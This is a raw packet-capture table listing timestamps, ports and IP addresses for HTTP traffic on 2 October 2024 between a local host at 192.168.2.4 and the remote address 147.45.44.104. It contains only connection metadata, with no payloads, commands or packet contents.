Oct 2, 2024 05:20:11.969214916 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969275951 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969285011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969316959 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969331026 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969352961 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.969373941 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.969408035 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970006943 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970062971 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970089912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970096111 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970130920 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970136881 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970139980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970170021 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970204115 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:11.970211029 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970211029 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:11.970263004 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.056823969 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.056864977 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.056921959 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.056937933 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.056976080 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.056977034 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057010889 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057044983 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057086945 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057086945 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057096004 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057130098 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057177067 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057177067 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057182074 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057276011 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057312965 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057385921 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057420015 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057431936 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057431936 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057477951 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057518005 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057568073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057569027 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057602882 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057626963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057636976 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057661057 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057701111 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057760000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057812929 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057812929 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057845116 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057866096 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057899952 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057909012 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057941914 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057976961 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.057986021 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.057986021 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058027029 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058043003 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058074951 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058310032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058363914 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058370113 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058398008 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058435917 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058454037 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058484077 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058517933 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058536053 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058551073 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058584929 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058598995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058598995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058628082 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058629990 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058661938 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058696032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058710098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058710098 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058732986 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.058773994 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.058773994 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059222937 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059277058 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059310913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059322119 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059336901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059355974 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059452057 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059490919 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059504032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059530973 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059534073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059534073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059545040 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059556007 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059567928 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059576988 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059581995 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.059598923 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.059669971 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060101032 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060123920 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060134888 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060165882 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060194016 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060295105 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060307026 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060318947 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060333014 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060359955 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060359955 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060436010 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060453892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060466051 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060477018 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060489893 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.060518980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060518980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.060560942 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061016083 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061060905 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061072111 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061094046 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061094046 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061115980 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061139107 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061207056 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061218023 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061230898 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061243057 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061264992 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061264992 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061283112 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061362982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061376095 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.061418056 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.061418056 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.146864891 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.146879911 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.146894932 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.146908045 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.146945953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.146945953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.146960974 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147001982 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147012949 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147026062 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147047997 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147063017 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147114992 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147149086 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147162914 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147175074 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147181988 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147226095 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147226095 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147258997 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147344112 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147361994 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147375107 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147402048 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147402048 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147420883 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147443056 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147476912 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147490025 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147514105 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147531986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147531986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147561073 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147610903 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147666931 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147684097 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147687912 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147726059 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147763968 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147777081 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147788048 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147826910 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147826910 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.147860050 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147872925 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.147923946 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148035049 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148083925 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148087978 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148096085 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148138046 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148138046 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148180008 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148190975 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148202896 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148215055 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148238897 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148238897 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148252964 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148433924 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148451090 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148463011 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148474932 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148480892 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148488045 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148499012 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148499966 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148511887 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148525000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148531914 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148531914 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148538113 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148554087 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148566008 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148587942 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148706913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148720026 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148763895 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148917913 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148962975 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.148972988 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.148984909 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149024963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149024963 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149072886 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149085999 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149096966 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149110079 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149131060 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149131060 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149158955 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149318933 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149333000 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149343967 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149357080 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149363995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149369955 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149380922 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149380922 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149383068 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149395943 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149400949 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149408102 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149419069 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149437904 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149437904 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149480104 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149640083 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149652004 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149665117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149677038 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149707079 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149708033 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149883986 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149935961 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149949074 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.149986982 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.149986982 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150046110 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150058031 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150069952 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150084972 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150110006 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150110006 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150158882 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150196075 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150207996 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150219917 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150258064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150258064 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150413036 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150427103 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150438070 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150449991 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150463104 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150474072 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150477886 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150477886 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150487900 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150491953 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150502920 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150523901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150523901 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150558949 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150645018 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150702000 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150861025 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150896072 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150908947 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.150912046 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150943995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.150943995 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151005983 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151022911 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151035070 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151047945 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151070118 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151070118 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151087999 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151155949 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151168108 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151180983 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151197910 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151212931 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151232958 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151237011 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151245117 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151254892 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151267052 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151278019 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151288986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151288986 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151292086 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151320934 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151320934 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151340008 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151561022 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151571989 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151583910 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151624918 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151624918 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151813030 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151825905 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151837111 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.151880980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.151880980 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237109900 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237127066 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237138987 CEST	80	49782	147.45.44.104	192.168.2.4
Oct 2, 2024 05:20:12.237165928 CEST	49782	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:20:12.237183094 CEST	80	49782	147.45.44.104	192.168.2.4
